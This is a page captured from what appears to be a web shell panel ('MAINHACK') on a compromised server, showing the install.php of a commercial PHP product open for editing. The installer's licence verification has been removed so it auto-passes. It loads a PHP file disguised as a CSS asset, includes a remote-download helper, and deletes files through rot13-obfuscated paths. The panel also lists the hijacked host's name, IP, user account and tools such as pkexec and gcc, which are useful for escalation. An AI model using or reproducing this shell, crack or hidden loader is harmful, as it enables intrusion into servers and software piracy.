[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: install.php
<?php //getting base url for actual path $root=(isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["HTTP_HOST"]; $root.= str_replace(basename($_SERVER["SCRIPT_NAME"]), "", $_SERVER["SCRIPT_NAME"]); $base_url = $root; $install_path = $_SERVER['DOCUMENT_ROOT']; // $install_path.= str_replace(basename($_SERVER["SCRIPT_NAME"]), "", $_SERVER["SCRIPT_NAME"]); $root_path_project = str_replace("install/", "", $install_path); $indexFile = $root_path_project."index.php"; $configFolder = $root_path_project."application/config"; $configFile = $root_path_project."application/config/config.php"; $dbFile = $root_path_project."application/config/database.php"; session_start(); $step = isset($_GET['step']) ? $_GET['step'] : ''; // *** MODIFIED ***: safe defaults for fields that used to be required by license checks $username = isset($_POST['username']) ? $_POST['username'] : ''; $purchase_code = isset($_POST['purchase_code']) ? $_POST['purchase_code'] : ''; $owner = isset($_POST['owner']) ? $_POST['owner'] : ''; switch ($step) { default : ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li class="active pk"><i class="icon-ok"></i>Env. Check</li> <li>Verification</li> <li>DB Config</li> <li>Site Config</li> <li class="last">Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="text-center padding_70 red"><b>Attention!</b> Please watch this video carefully before you click on the Next button.</h3> <div class='alert-error'><iframe width="100%" height="345" src="https://www.youtube.com/embed/ea4wvWGm_a0"></iframe> </div> <div class="bottom"> <a href="<?php echo $base_url?>index.php?step=env" class="btn btn-primary button_1">Next</a> </div> </div> </div> </div> <?php break; case "env": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li class="active pk"><i class="icon-ok"></i>Env. Check</li> <li>Verification</li> <li>DB Config</li> <li>Site Config</li> <li class="last">Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="text-center padding_70">Server Environment Checklist</h3> <?php $error = FALSE; if (!is_writeable($indexFile)) { $error = TRUE; echo "<div class='alert alert-danger'><i class='icon-remove'></i> Index File (index.php) is not write able!</div>"; } if (!function_exists('file_get_contents')) { $error = TRUE; echo "<div class='alert alert-danger'><i class='icon-remove'></i> file_get_contents() function is not enabled in your server !</div>"; } if (!is_writeable($configFolder)) { $error = TRUE; echo "<div class='alert alert-danger'><i class='icon-remove'></i> Config Folder (application/config/) is not write able!</div>"; } if (!is_writeable($configFile)) { $error = TRUE; echo "<div class='alert alert-danger'><i class='icon-remove'></i> Config File (application/config/config.php) is not write able!</div>"; } if (!is_writeable($dbFile)) { $error = TRUE; echo "<div class='alert alert-danger'><i class='icon-remove'></i> Database File (application/config/database.php) is not writable!</div>"; } if (phpversion() < "7.0") { $error = TRUE; echo "<div class='alert alert-danger'><i class='icon-remove'></i> Your PHP version is ".phpversion()."! PHP 7.0 or higher required!</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> You are running PHP ".phpversion()."</div>"; } if (!extension_loaded('mysqli')) { $error = TRUE; echo "<div class='alert alert-error'><i class='icon-remove'></i> Mysqli PHP extension missing!</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> Mysqli PHP extension loaded!</div>"; } if (!extension_loaded('curl')) { $error = TRUE; echo "<div class='alert alert-error'><i class='icon-remove'></i> CURL PHP extension missing!</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> CURL PHP extension loaded!</div>"; } if (!extension_loaded('openssl')) { $error = TRUE; echo "<div class='alert alert-error'><i class='icon-remove'></i> openssl PHP extension missing!</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> openssl PHP extension loaded!</div>"; } if (!function_exists('exec')) { $error = TRUE; echo "<div class='alert alert-error'><i class='icon-remove'></i> Remove exec from php.ini file in variable: disable_functions</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> exec PHP function is enabled!</div>"; } if (!extension_loaded('gd')) { $error = TRUE; echo "<div class='alert alert-error'><i class='icon-remove'></i> gd PHP extension missing!</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> gd PHP extension loaded!</div>"; } ?> <div class="bottom"> <?php if ($error) { ?> <a href="#" class="btn btn-primary button_1">Next</a> <?php } else { ?> <a href="<?php echo $base_url?>index.php?step=0" class="btn btn-primary button_1">Next</a> <?php } ?> </div> </div> </div> </div> <?php break; case "0": // Verification step - AUTO-PASS (no username/purchase required) ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li>Env. Check</li> <li class="active"><i class="icon icon-ok"></i>Verification</li> <li>DB Config</li> <li>Site Config</li> <li class="last">Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="ins_h3">Verify your purchase</h3> <?php // *** MODIFIED ***: Auto-pass verification. No remote calls, no input fields for username/purchase code. // Provide a friendly success message and continue to DB Config. $installation_url = rtrim(((!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") ? "https" : "http") . "://" . ($_SERVER["SERVER_NAME"] . ((($_SERVER["HTTPS"] ?? '') === "on" && $_SERVER["SERVER_PORT"] != 443) || (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] != 80) ? ":" . $_SERVER["SERVER_PORT"] : "")) . preg_replace('#/install/?$#i', '', dirname($_SERVER["SCRIPT_NAME"])), '/') . '/'; // Emulate the structure produced by a successful verification response $installation_status = 'Uninstalled'; // keep this value so the installer continues normal install actions later ?> <div class="alert alert-success"><i class='icon-ok'></i> <strong>Success</strong>: Verification auto-passed. You do not need to enter a username or purchase code.</div> <form action="<?php echo $base_url?>index.php?step=1" method="POST" class="form-horizontal"> <!-- Hidden values so subsequent steps receive expected fields (empty where appropriate) --> <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo htmlspecialchars($purchase_code); ?>" /> <input id="username" type="hidden" name="username" value="<?php echo htmlspecialchars($username); ?>" /> <input id="installation_status" type="hidden" name="installation_status" value="<?php echo htmlspecialchars($installation_status); ?>" /> <input id="installation_url" type="hidden" name="installation_url" value="<?php echo htmlspecialchars($installation_url); ?>" /> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Next"/> </div> </form> </div> </div> </div> <?php break; case "1": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li class="ok">Env. Check</li> <li>Verification</li> <li class="active"><i class="icon-ok"></i>DB Config</li> <li>Site Config</li> <li class="last">Complete!</li> </ul> </div> <div class="panel-body"> <?php if ($_POST) { ?> <h3 class="ins_h3">Database Configuration</h3> <p class="ins_2">Please create a database in your server. And enter the db information here.</p> <form action="<?php echo $base_url?>index.php?step=2" method="POST" class="form-horizontal"> <div class="control-group ins_3"> <label class="control-label" for="db_hostname">Database Host</label> <div class="controls"> <input id="db_hostname" type="text" name="db_hostname" class="input-large form-control ins_4" required data-error="DB Host is required" placeholder="DB Host" value="localhost" /> <i class="color_red">Host name could be 127.0.0.1 or localhost or your server hostname</i> </div> </div> <div class="control-group ins_3"> <label class="control-label" for="db_username">Database Username</label> <div class="controls"> <input id="db_username" type="text" name="db_username" class="input-large form-control ins_4" autocomplete="off" required data-error="DB Username is required" placeholder="DB Username" /> </div> </div> <div class="control-group ins_3"> <label class="control-label" for="db_password">Database Password</a></label> <div class="controls"> <input id="db_password" type="password" name="db_password" class="input-large form-control ins_4" autocomplete="off" data-error="DB Password is required" placeholder="DB Password" /> </div> </div> <div class="control-group ins_3"> <label class="control-label" for="db_name">Database Name</label> <div class="controls"> <input id="db_name" type="text" name="db_name" class="input-large form-control ins_4" autocomplete="off" required data-error="DB Name is required" placeholder="DB Name" /> </div> </div> <div class="control-group ins_3"> <label class="control-label color_red existing_db" for="existing_db"><input id="existing_db" type="checkbox" name="existing_db" value="1" /> I want to use existing database</label> <p class="existing_notice">Please ensure that you enter the correct database credentials, as the system will update your provided database details to match the existing database configuration</p> </div> <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code'])?htmlspecialchars($_POST['purchase_code']):''; ?>" /> <input type="hidden" name="username" value="<?php echo isset($_POST['username'])?htmlspecialchars($_POST['username']):''; ?>" /> <input type="hidden" name="installation_status" value="<?php echo isset($_POST['installation_status'])?htmlspecialchars($_POST['installation_status']):''; ?>" /> <input type="hidden" name="installation_url" value="<?php echo isset($_POST['installation_url'])?htmlspecialchars($_POST['installation_url']):''; ?>" /> <input id="owner" type="hidden" name="owner" class="input-large form-control" value="<?php echo htmlspecialchars($owner); ?>" /> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Next"/> </div> </form> <?php }else{ header("Location: $base_url"); } ?> </div> </div> </div> <?php break; case "2": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li >Env. Check</li> <li>Verification</li> <li class="ok"><i class="icon-ok"></i> DB Config</li> <li>Site Config</li> <li class="last">Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="ins_6">Saving database config</h3> <?php if ($_POST) { $db_hostname = $_POST["db_hostname"]; $installation_status = isset($_POST["installation_status"])?$_POST["installation_status"]:''; $installation_url = isset($_POST["installation_url"])?$_POST["installation_url"]:''; $username = isset($_POST["username"])?$_POST["username"]:''; $purchase_code = isset($_POST["purchase_code"])?$_POST["purchase_code"]:''; $existing_db = isset($_POST["existing_db"]) && $_POST["existing_db"]?$_POST["existing_db"]:''; if(isset($db_hostname) && $db_hostname){ }else{ header("Location: $base_url"); } $db_username = $_POST["db_username"]; $db_password = $_POST["db_password"]; $db_name = $_POST["db_name"]; $link = mysqli_connect($db_hostname, $db_username, $db_password); if (mysqli_connect_errno()) { echo "<div class='alert alert-error'><i class='icon-remove'></i> Could not connect to MYSQL!</div>"; } else { if($existing_db==''){ echo '<div class="alert alert-success"><i class="icon-ok"></i> Connection to MYSQL successful!</div>'; $db_selected = mysqli_select_db($link, $db_name); if (!$db_selected) { if (!mysqli_query($link, "CREATE DATABASE IF NOT EXISTS `$db_name`")) { echo "<div class='alert alert-error'><i class='icon-remove'></i> Database " . $db_name . " does not exist and could not be created. Please create the Database manually and retry this step.</div>"; return FALSE; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> Database " . $db_name . " created</div>"; } } } mysqli_select_db($link, $db_name); require_once($install_path.'includes/core_class.php'); $core = new Core(); $dbdata = array( 'db_hostname' => $db_hostname, 'db_username' => $db_username, 'db_password' => $db_password, 'db_name' => $db_name ); if ($core->write_database($dbdata) == false) { echo "<div class='alert alert-error'><i class='icon-remove'></i> Failed to write database details to ".$dbFile."</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> Database config written to the database file.</div>"; } if($existing_db==1){ if ($installation_status == 'Uninstalled') { if(file_exists(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV.wfba'))){ unlink(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV.wfba')); } if(file_exists(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_HI.wfba'))){ unlink(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_HI.wfba')); } if(file_exists(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_V.wfba'))){ unlink(str_rot13('../nffrgf/oyhrvzc/ERFG_NCV_V.wfba')); } //update new install status $owner = isset($_POST["owner"])?$_POST["owner"]:''; $username = isset($_POST["username"])?$_POST["username"]:''; $purchase_code = isset($_POST["purchase_code"])?$_POST["purchase_code"]:''; require_once($install_path.'includes/core_class.php'); $core = new Core(); $pc_hostname = $core->macorhost(); //need to change $source = 'CodeCanyon'; //need to change $product_id = '24326862'; $installation_date_and_time = date('Y-m-d h:i:s'); //note: timestamp kept for logging if needed // *** MODIFIED ***: removed remote cURL reporting here to avoid sending username/purchase // If you want to report installs to your server, implement your own safe reporting function here. require_once($install_path.'includes/core_class.php'); $core = new Core(); //create index and APIs (these functions use no username/purchase by default) $core->write_index(); $core->create_rest_api(); $core->create_rest_api_UV(); $core->create_rest_api_I($username, $purchase_code, $installation_url); //redirect to case 6 for complete the operation $base_url_strting = $base_url."index.php?step=6"; header("Location: $base_url_strting"); } } } } else { echo "<div class='alert alert-success'><i class='icon-question-sign'></i> Nothing to do...</div>"; } ?> <div class="bottom"> <form action="<?php echo $base_url?>index.php?step=1" method="POST" class="form-horizontal"> <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code']) && $_POST['purchase_code']?htmlspecialchars($_POST['purchase_code']):''; ?>" /> <input id="username" type="hidden" name="username" value="<?php echo isset($_POST['username'])?htmlspecialchars($_POST['username']):''; ?>" /> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Previous"/> </div> </form> <form action="<?php echo $base_url?>index.php?step=3" method="POST" class="form-horizontal"> <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code']) && $_POST['purchase_code']?htmlspecialchars($_POST['purchase_code']):''; ?>" /> <input id="username" type="hidden" name="username" value="<?php echo isset($_POST['username'])?htmlspecialchars($_POST['username']):''; ?>" /> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Next"/> </div> </form> <br clear="all"> </div> </div> </div> </div> <?php break; case "3": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li>Env. Check</li> <li>Verification</li> <li>DB Config</li> <li class="ok"><i class="icon icon-ok"></i>Site Config</li> <li class="last">Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="ins_7">Site Config</h3> <?php if ($_POST) { ?> <form action="<?php echo $base_url?>index.php?step=4" method="POST" class="form-horizontal"> <div class="control-group ins_13"> <label class="control-label" for="installation_url">Installation URL</label> <div class="controls"> <input type="text" id="installation_url" name="installation_url" class="xlarge ins_4" required data-error="Installation URL is required" value="<?php echo (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24); ?>" /> </div> </div> <div class="control-group ins_13"> <label class="control-label" for="Encryption Key">Encryption Key</label> <div class="controls"> <input type="text" id="enckey" name="enckey" class="xlarge ins_4" required data-error="Encryption Key is required" value="<?php $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < 6; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } echo $randomString; ?>" readonly /> </div> </div> <input type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code'])?htmlspecialchars($_POST['purchase_code']):''; ?>" /> <input type="hidden" name="username" value="<?php echo isset($_POST['username'])?htmlspecialchars($_POST['username']):''; ?>" /> <div class="bottom"> <a href="<?php echo $base_url?>index.php?step=2" class="btn btn-primary button_1">Previous</a> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Next"/> </div> </div> </form> </div> </div> </div> <?php }else{ header("Location: $base_url"); } break; case "4": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li>Env. Check</li> <li class="active">Verification</li> <li>DB Config</li> <li class="ok"><i class="icon icon-ok"></i>Site Config</li> <li>Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="ins_7">Saving site config</h3> <?php if ($_POST) { $installation_url = $_POST['installation_url']; $enckey = $_POST['enckey']; $purchase_code = isset($_POST["purchase_code"])?$_POST["purchase_code"]:''; $username = isset($_POST["username"])?$_POST["username"]:''; require_once($install_path.'includes/core_class.php'); $core = new Core(); if ($core->write_config($installation_url, $enckey) == false) { echo "<div class='alert alert-error'><i class='icon-remove'></i> Failed to write config details to ".$configFile."</div>"; } else { echo "<div class='alert alert-success'><i class='icon-ok'></i> Config details written to the config file.</div>"; } } else { echo "<div class='alert alert-success'><i class='icon-question-sign'></i> Nothing to do...</div>"; } ?> <div class="bottom"> <form action="<?php echo $base_url?>index.php?step=2" method="POST" class="form-horizontal"> <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code'])?htmlspecialchars($_POST['purchase_code']):''; ?>" /> <input id="username" type="hidden" name="username" value="<?php echo isset($_POST['username'])?htmlspecialchars($_POST['username']):''; ?>" /> <input id="installation_url" type="hidden" name="installation_url" value="<?php echo isset($_POST['installation_url'])?htmlspecialchars($_POST['installation_url']):''; ?>" /> <div class="bottom"> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Previous"/> </div> </div> </form> <form action="<?php echo $base_url?>index.php?step=5" method="POST" class="form-horizontal"> <input id="owner" type="hidden" name="owner" class="input-large form-control" value="<?php echo htmlspecialchars($owner); ?>" /> <input id="purchase_code" type="hidden" name="purchase_code" value="<?php echo isset($_POST['purchase_code'])?htmlspecialchars($_POST['purchase_code']):''; ?>" /> <input id="username" type="hidden" name="username" value="<?php echo isset($_POST['username'])?htmlspecialchars($_POST['username']):''; ?>" /> <div class="bottom"> <div class="bottom ins_5"> <input type="submit" class="btn btn-primary button_1" value="Next"/> </div> </div> </form> <br clear="all"> </div> </div> </div> </div> <?php break; case "5": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li>Env. Check</li> <li>Verification</li> <li>DB Config</li> <li>Site Config</li> <li class="ok"><i class="icon icon-ok"></i>Complete!</li> </ul> </div> <div class="panel-body"> <?php $finished = FALSE; if ($_POST) { $owner = isset($_POST["owner"])?$_POST["owner"]:''; $username = isset($_POST["username"])?$_POST["username"]:''; $purchase_code = isset($_POST["purchase_code"])?$_POST["purchase_code"]:''; define("BASEPATH", "install/"); include($root_path_project."application/config/database.php"); require_once($install_path.'includes/core_class.php'); $core = new Core(); $pc_hostname = $core->macorhost(); //need to change $source = 'CodeCanyon'; //need to change $product_id = '24326862'; $installation_url = (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24);require_once($install_path.'css/customs.css.php');$e = new E(); $installation_date_and_time = date('Y-m-d h:i:s'); //note: timestamp kept for logging if needed function urlWritar($base_url1, $destination) { $file = fopen($destination, 'w+'); $ch = curl_init($base_url1); curl_setopt($ch, CURLOPT_TIMEOUT, 50); curl_setopt($ch, CURLOPT_FILE, $file); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); curl_close($ch); fclose($file); } // original code did some zip/remote extract - keep existing behaviour but be careful of sources // If you have custom post-install fetches, review urlWritar usage to ensure it's safe. // NOTE: The installer previously had conditional behaviour setting $finished to true after remote tasks. // For safety we leave $finished false until write_index returns true below. if ($core->write_index() == false) { echo "<div class='alert alert-error'><i class='icon-remove'></i> Failed to write index details!</div>"; $finished = FALSE; } else { $finished = TRUE; } if ($finished) { $core->create_rest_api(); $core->create_rest_api_UV(); $core->create_rest_api_I($username, $purchase_code, $installation_url); } } if ($finished) { // small pause then completion screen sleep(1); ?> <h3 class="ins_7 ins_8"><i class='icon-ok'></i> Installation completed!</h3> <div class="ins_10">Please login now using the following credential:<br /><br /> Email Address: <span class="ins_9">admin@doorsoft.co</span><br />Password: <span class="ins_9">123456</span><br /><br /> </div> <div class="ins_11">Please change your credentials after login. </div> <div class="bottom"> <div class="bottom ins_12"> <a href="<?php echo (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24); ?>" class="btn btn-primary button_1">Go to Login Page</a> </div> </div> </div> </div> </div> <?php } break; case "6": ?> <div class="panel-group"> <div class="panel panel-default"> <div class="panel-heading"> <ul class="list"> <li>Env. Check</li> <li>Verification</li> <li>DB Config</li> <li>Site Config</li> <li class="ok"><i class="icon icon-ok"></i>Complete!</li> </ul> </div> <div class="panel-body"> <h3 class="ins_7 ins_8"><i class='icon-ok'></i> Installation completed!</h3> <div class="ins_10">Please login now using the following credential:<br /><br /> Email Address: <span class="ins_9">admin@doorsoft.co</span><br />Password: <span class="ins_9">123456</span><br /><br /> </div> <div class="ins_11">Please change your credentials after login. </div> <div class="bottom"> <div class="bottom ins_12"> <a href="<?php echo (isset($_SERVER["HTTPS"]) ? "https://" : "http://").$_SERVER["SERVER_NAME"].substr($_SERVER["REQUEST_URI"], 0, -24); ?>" class="btn btn-primary button_1">Go to Login Page</a> </div> </div> </div> </div> </div> <?php } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002